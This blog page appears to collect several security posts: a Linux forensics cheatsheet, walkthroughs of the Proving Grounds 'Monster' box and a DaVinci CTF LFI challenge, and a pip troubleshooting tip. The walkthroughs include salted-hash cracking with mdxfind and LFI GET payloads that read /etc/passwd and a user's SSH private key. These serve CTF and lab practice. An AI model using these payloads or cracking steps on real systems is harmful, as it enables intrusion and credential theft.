A New Method A New Method

Linux Forensics Cheatsheet

Recently, I finished up the LInux Forensics Room on TryHackMe and found a lot of really great refreshers on concepts I think are relevant for Penetration Testers, CTF Players and wannabe Red Teamers.

Here’s my LInux Forensics cheatsheet, its also available on Github.

 OS and account information

Getting release information:

cat  /etc/os-release

Finding User Accounts:

The passwd is usually world readable by default and can be used to enumerate other users on the machine.

cat /etc/passwd

We can clean up the output w/ the following:

cat /etc/passwd | column -t -s :

Group Information

We can get information about groups in the following way: /etc/group


user@machine$ cat /etc/group 

Here’ we can see the user adm belongs to the syslog and ubuntu groups.

The x signifies that the user has a password stored in the /etc/shadow file.

Sudoers List

We can view the sudoers list, or users allowed to upgrade their privileges by viewing. /etc/sudoers

Login information

Found in the /var/log, we can view log files. These include:

- wtmp
- btmp

These contain information about failed logins. wtmp keeps historical data about logins. These files are binary files and can be viewed with the last command.

Authentication logs

All authenticagted users are logged in the authlog. These can be found at:


You’ll need to be root or allowed to view these files.

Example usage:

cat /var/log/auth.log | tail



cat /etc/hostname


cat /etc/timezone

Network Configuration


Active network connections

We primarly will use system tools like netstat

netstat -pant

Running processes

ps aux

DNS information

Files like /etc/hosts contain configuration information for DNS assignments.

cat /etc/hosts

Information about DNS resolvers (how linux hosts talks to DNSServers) can be found in /etc/resolv.conf

cat /etc/resolv.conf

Persistence Mechanisms

Cron jobs

cat /etc/crontab

Service startup

cat /etc/init.d


When a bash shell is started it runs commands through the .bashrc file which can be found in the users home directory. /var/ cat ~/.bashrc

Sudo execution history

All the commands that are run on a Linux host using sudo are stored in the auth log. We already learned about the auth log in Task 3. We can use the grep utility to filter out only the required information from the auth log.

user@machine$ cat /var/log/auth.log* |grep -i COMMAND|tail

Bash history

Any commands other than the ones run using sudo are stored in the bash history. Every user’s bash history is stored separately in that user’s home folder. Therefore, when examining bash history, we need to get the bash_history file from each user’s home directory. It is important to examine the bash history from the root user as well, to make note of all the commands run using the root user as well.

user@machine$ cat ~/.bash_history

Files accessed using vim

Vim keeps logs. So we can and should access these:

cat ~/.viminfo

Log FIles

Log files are insanely important for forensics investigations.

Log files can be found at: /var/log


The Syslog contains messages that are recorded by the host about system activity. The detail is configurable through the logging level.

We can use cat, head, more, and `less.


cat /var/log/syslog* | head

Auth logs

cat /var/log/auth.log* |head

Third Party Logs

Similar to sys and auth logs we can find other types of logs in /var/log/.

Proving Grounds-Monster (Part 1)

Previously on…

After exploiting a weak password vulnerability, we gain admin access to the monster.pg blog. The blog is running monstra 3.0.4 which is vulnerable to a number of known exploits, but they appear to have been patched on the target.

Using the sites’s functionality we’re able to download a copy of the website and find the users.table.xml file which appears to contain some password hashes.

Hash cracking

With the previously found hashes:

< ...snip...>

< ...end-snip...>

Note: I’m not providing the real hashes in this walkthrough.

We can defintely crack the hashes with something like John or Hashcat, but it’ll take a lot longer without some recon or enumeration on the hashes.

Luckly, we’ve already “cracked” one user; admin:wazowski and have the hash, provided for us. So we can do some work out how how hashes are made on the blog, and then work to create a strategy for how to crack these hashes.

Finding the Salt

Salts should be random, but its worth checking the source of the Monstra CMS to see what the default is:

Line 66 of the source.

Googling around would also have helped us, as it would have turned up this HacktheBox CTF write-up.

Now that we know how the salts were created, we’ll combine this with our known password, and hash to confirm that the site is using the default salt of YOUR_SALT_HERE.


MATT0177, says it well, when describing the use case for mdxfind:

Most password cracking programs require three things. A list of the hashes you want to crack, the algorithm that they’re in and a dictionary that you would like to use for your attempts. MDXFIND is for when you have hashes and a dictionary, but you’re not sure what format the hashes are in.


You can grab a copy of mdxfind at https://hashes.org/mdxfind.php.

I recommend running mdxfind with the -h flag to get familar with it. mdxfind reads from source files, so we’ll create the files required for it to work.

  • Place YOUR_SALT_HERE in a file named salt.txt
  • Create a file named password.txt with wazowski in it.

Now we’ll pass our hash to mdxfind, making sure to let mdxfind know we’re looking at an MD5 hash. We’ll provide it with the salt.txt and password.txt files. Finally, we’ll try a few iterations, like 4 just to start off.

Out final command will look something like this:

echo "a2b4e80ad640abbb6e417febe095dcbfc" | ./mdxfind -h 'MD5' -s salt.txt password.txt -i 4

Run correctly, and our output should have something like this at the end.

1 total salts in use
Generated 19998 Userids
Reading hash list from stdin...
Took 0.00 seconds to read hashes
Searching through 1 unique hashes from <STDIN>
Maximum hash chain depth is 1
Minimum hash length is 32 characters
Using 2 cores
MD5PASSSALTx02 a2b4e80cd640aaa6e417febe095dcbfc:YOUR_SALT_HERE:wazowski

Done - 2 threads caught
1 lines processed in 0 seconds
1.00 lines per second
0.15 seconds hashing, 1,638,403 total hash calculations
10.68M hashes per second (approx)
1 total files
1 MD5PASSSALTx02 hashes found
1 Total hashes found

Cool! So we’ve confirmed that the salt used with these hashes is the laugable default hash in the app source: YOUR_SALT_HERE.

With this work done, we can now work to crack that other hash we found.

Cracking MD5 salted Hashes with mdxfind

If we run the same command as above, and provide the mike user’s hash;

echo "844ffc2c7150b93c4133a6ff2e1a2dba" | ./mdxfind -h 'MD5PASSSALT' -s salt.txt rockyou.txt -i 2

We should get back the user’s password.

1 salts read from salt.txt
Iterations set to 2
1 total salts in use
Reading hash list from stdin...
Took 0.00 seconds to read hashes
Searching through 1 unique hashes from <STDIN>
Maximum hash chain depth is 1
Minimum hash length is 32 characters
Using 2 cores
MD5PASSSALTx02 844ffc2c7150b93c4133a6ff2e1a2dba:YOUR_SALT_HERE:Mike14

With this password in hand we can look back at our notes so far and remember where we might be able to use this.

RDP seems like a good idea.

In the next post on this machine, we’ll talk a little about Windows Privilege Escalation.

Davinci CTF 2022-Pentest Part 1

This past weekend, the DaVinciCode hosted a CTF titled “DaVinciCTF 2022” and it was a great fun to try and improve on all the challenges. You can check out on CTFTime as well as their site: https://dvc.tf/

Today, we’ll be looking at the “pentesting” challenge: DaVinci's Playlist : Part 1


The challenge site is still up, so feel free to follow along.


Helpfully, the site organizers let us know that we won’t need to bruteforce anything for this challenge.

After reading the challenge description, I visited the target site. I started up BurpSuite, so as to be sure to capture requests.

After watching a few music videos, I take a look at the application, I can see it’s passing data via 2 parameters:


So my first attempt is to try adding a single quote (‘) to the those parameters. Here’s one of my requests:

GET /?MyTop5=5&playlistTop=TopRapUS' HTTP/1.1

and there’s something interesting in the response source:


From here, I tried a few other things, like trying to read the flag, but using a php filter was more useful, so I snagged the source, using the following payload.

GET /?MyTop5=1&playlistTop=php://filter/convert.base64-encode/resource=index.php

I get back the following wad of base64:


and after a decode we get the following:

<!DOCTYPE html>

    <title>My Top 5</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.12.0/css/all.css" integrity="sha384-ekOryaXPbeCpWQNxMwSWVvQ0+1VrStoPJq54shlYhR8HzQgig1v5fas6YgOqLoKz" crossorigin="anonymous">
    <link rel="stylesheet" href="assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/style.css">

if (isset($_GET['MyTop5'])) {
    $top = $_GET['MyTop5'];
} else {
    $top = "1";

if (isset($_GET['playlistTop'])) {
    $playlist = $_GET['playlistTop'];
} else {
    $playlist = "TopRapUS";

if (isset($playlist) && isset($top)) {
    $handle = fopen($playlist, "r");
    if ($handle) {
        $tag = "";
        $counter = 0;
        while (($line = fgets($handle)) !== false) {
            if ($counter + 1 == $top) {
                $tag = $line;
<div class="p-4 text-center bg-image" >
<div class="card mx-auto" style="width: 60%; margin-top: 4%;">
    <div class="text-center">

        <h1><b><u>Top Songs</u></b></h1>
        <iframe src="http://www.youtube.com/embed/<?php echo $tag; ?>" width="560" height="315" frameborder="0" allowfullscreen></iframe>

            <form method="get">
                <input type="radio" id="video1" name="MyTop5" value="1" <?php if( !(isset($_GET['MyTop5'])) || (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '1')) echo ' checked="checked"'?>>
                <label for="video1">Top 1</label>

                <input type="radio" id="video2" name="MyTop5" value="2" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '2')) echo ' checked="checked"'?>>
                <label for="video2">Top 2</label>

                <input type="radio" id="video3" name="MyTop5" value="3" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '3')) echo ' checked="checked"'?>>
                <label for="video3">Top 3</label>

                <input type="radio" id="video4" name="MyTop5" value="4" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '4')) echo ' checked="checked"'?>>
                <label for="video4">Top 4</label>

                <input type="radio" id="video5" name="MyTop5" value="5" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '5')) echo ' checked="checked"'?>>
                <label for="video5">Top 5</label>



                <form method="post">
                    <input type="radio" id="TOP" name="playlistTop" value="TopRapUS" <?php if( !(isset($_GET['playlistTop'])) || (isset($_GET['playlistTop']) && $_GET['playlistTop'] == 'TopRapUS')) echo ' checked="checked"'?>>
                    <label for="video1">Rap US</label>

                    <input type="radio" id="TOP" name="playlistTop" value="TopRapFr" <?php if((isset($_GET['playlistTop']) && $_GET['playlistTop'] == 'TopRapFr')) echo ' checked="checked"'?>>
                    <label for="video2">Rap FR </label>
                        <button class="btn btn-dark" type="submit">Submit</button>



Now, with source in hand we can see its an LFI challenge at first.

LFI Enumeration

The fopen() hints at the LFI earlier, so we can do something as simple as adding /etc/passwd to our GET request.


GET /?MyTop5=5&playlistTop=/etc/passwd HTTP/1.1

and we get back the following:

Now, we’ve confirmed we can read files, I’ll combine the 2 to get read encode the /etc/passwd file:

GET /?MyTop5=1&playlistTop=php://filter/convert.base64-encode/resource=/etc/passwd



You can use cyberchef or the terminal to decode the base64 and we get back our file:

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

From here, we can see the user leonardo and the administrator user.

We have read access to leonardo’s ssh key via /home/leonardo/.ssh/id_rsa

GET /?MyTop5=1&playlistTop=php://filter/convert.base64-encode/resource=/home/leonardo/.ssh/id_rsa HTTP/1.1

After decoding we get the following:


and updating the permissions on the file we now have ssh access!

I’ll go over the 2nd part of the challenge in a later post.

Proving Grounds-Monster (Part 0)

Monster is a cute litte box, that doesn’t really have much of a monster angle, to it. Though, that’s part of the charm, I think. Some good old enumeration will get you through to a shell.


After running an initial nmap scan, (something as simple as nmap -p- $target) we get back a few list of some services running: http and https (80,443) and RDP (3389).


Taking a look at the http services running on the host, we can see there are a lot of similarities between the the two services, so for now, we can assume they’re the same and visit the http site.

nmap scan info

Before moving too far ahead, it was important for me log into the https site and take a look around. It’s also a good idea to take a look at the SSL certificate the site issues and seek out subdomains that the cert may also be valid for.

Neither turns up anything, but gives me a good feeling knowing I checked.

Mike’s Page

mike's super cool site

The site belongs to Monster’s Inc. character Mike Wazowski.

Taking a look around, not much of the site appears functional. The resume download button, and other items don’t link anywhere, but we note the use of a contact form at the bottom of the page.

GoBuster: Blog Discovery

A GoBuster search, produces both /assets and /blog directories.

Navigating to the /blog page we find that the we’re unable to proceed because we’ll need to add monster.pg to our /etc/hosts file.

After doing so we can visit the blog and begin our enumeration.


Just to have some enumeration running in the background, I start another GoBuster search on the /blog directory.

The recommended way of doing website enumeration is going to be to “walk the site”. Going page by page and getting familar with how the site works and making a note of things that were modified, personalized, or would in any way be useful to us.

Going through the header buttons and just scrolling down each page, taking a look at the source, and “getting a feel” for what the site does.

Vulnerability Discovery: Monstra 3.0.4

At the foot of the pages, we’ll see that the site is running monstra 3.0.4. Using searchsploit, we turn up a few exploits, but most require authentication.

We won’t get attached to it, but we can now start to forumlate a hypothesis which states we’ll need to impersonatea user to proceed further into the target. Currently, we don’t have any usernames, so we’ll continue to walk the site.

Vulnerability Discover: Weak Passwords

Listed under under http://monster.pg/blog/users we find some information about users.

This is great! And we’ll note it down, as these will be the key to cracking the login problem.

Login Page

Trying things like admin:admin are easy wins, and whenever we see a username, we should consider trying those too. While trying mike:mike fails, trying the username admin and the site owner’s last name succeeds.

With an authenticated user, and a known vulnerable version of software, this is the point where most folks want to jump ahead and get a shell. Searchploit turns up a bunch of RCE’s and other interesting vectors. But none of these work.

With known exploits failing us, we might want to upload or inject some php and get code execution on the web application. But this won’t work either as these have been patched on this instance of Monstra.

No, the easiest path is going to be to sit back and enumerate further.

Abusing Site Features/Functionality: Site Backup

Walking the application, we’ll find that we have the ability to download a back up of the site. We’ll create a backup, download it and unzip it and find that there are a lot of files here.

A lot of the files seem to be .html files and images, but since we’re interested in the back end, we’ll take a look at the .xml files.

-rw-r--r-- 1 kali kali  458 Mar 15 14:06 blog.manifest.xml
-rw-r--r-- 1 kali kali  471 Mar 15 14:06 captcha.manifest.xml
-rw-r--r-- 1 kali kali  534 Mar 15 14:06 codemirror.manifest.xml
-rw-r--r-- 1 kali kali  490 Mar 15 14:06 markdown.manifest.xml
-rw-r--r-- 1 kali kali  489 Mar 15 14:06 markitup.manifest.xml
-rw-r--r-- 1 kali kali  507 Mar 15 14:06 menu.table.xml
-rw-r--r-- 1 kali kali 1.9K Mar 15 14:06 options.table.xml
-rw-r--r-- 1 kali kali 1.7K Mar 15 14:06 pages.table.xml
-rw-r--r-- 1 kali kali 3.6K Mar 15 14:06 plugins.table.xml
-rw-r--r-- 1 kali kali  470 Mar 15 14:06 sandbox.manifest.xml
-rw-r--r-- 1 kali kali  820 Mar 15 14:06 users.table.xml

The file users.table.xml is the most interesting one here, and grepping the file for the string password

We find some interesting hashes.

grep -i 'password' users.table.xml --color=auto




And this is where we’ll leave it for now, in the next post we’ll discuss the best way to crack these hashes and get a shell on the box.

pip hash mismatches

On occasion I’ve run into an issue where pip complains about hash mismatches. As seen below.

└─$ sudo pip install -r requirements.txt                                                                             
[sudo] password for kali:                                                                                            
Collecting cffi==1.14.2                                                                                              
  Downloading cffi-1.14.2.tar.gz (470 kB)                                                                            
     |████████████████████████████████| 470 kB 2.0 MB/s                                                              
Requirement already satisfied: click==7.1.2 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (7.
Collecting cryptography==3.1                                                                                         
  Downloading cryptography-3.1-cp35-abi3-manylinux2010_x86_64.whl (2.6 MB)                                           
     |████████████████████████████████| 2.6 MB 3.6 MB/s                                                              
lease update the hashes. Otherwise, examine the package contents carefully; someone may have tampered with them.     
    cryptography==3.1 from https://files.pythonhosted.org/packages/c0/9c/647e559a6e8be493dc2a7a5d15d26cb501ca60ec299b
9143b90c52be59d7657f50f (from -r requirements.txt (line 3)):                                                         
        Expected sha256 321761d55fb7cb256b771ee4ed78e69486a7336be9143b90c52be59d7657f50f                             
             Got        a14d0fdef1a2bbc476c328084e07af58696f9cce1c354a9e2956e4469ca5afa3       

Pip MisMatch Fail

Using the --no-cache-dir flag will often fix this.

But it’s probably better to simply use virtualenv. This guide can be helpful for that.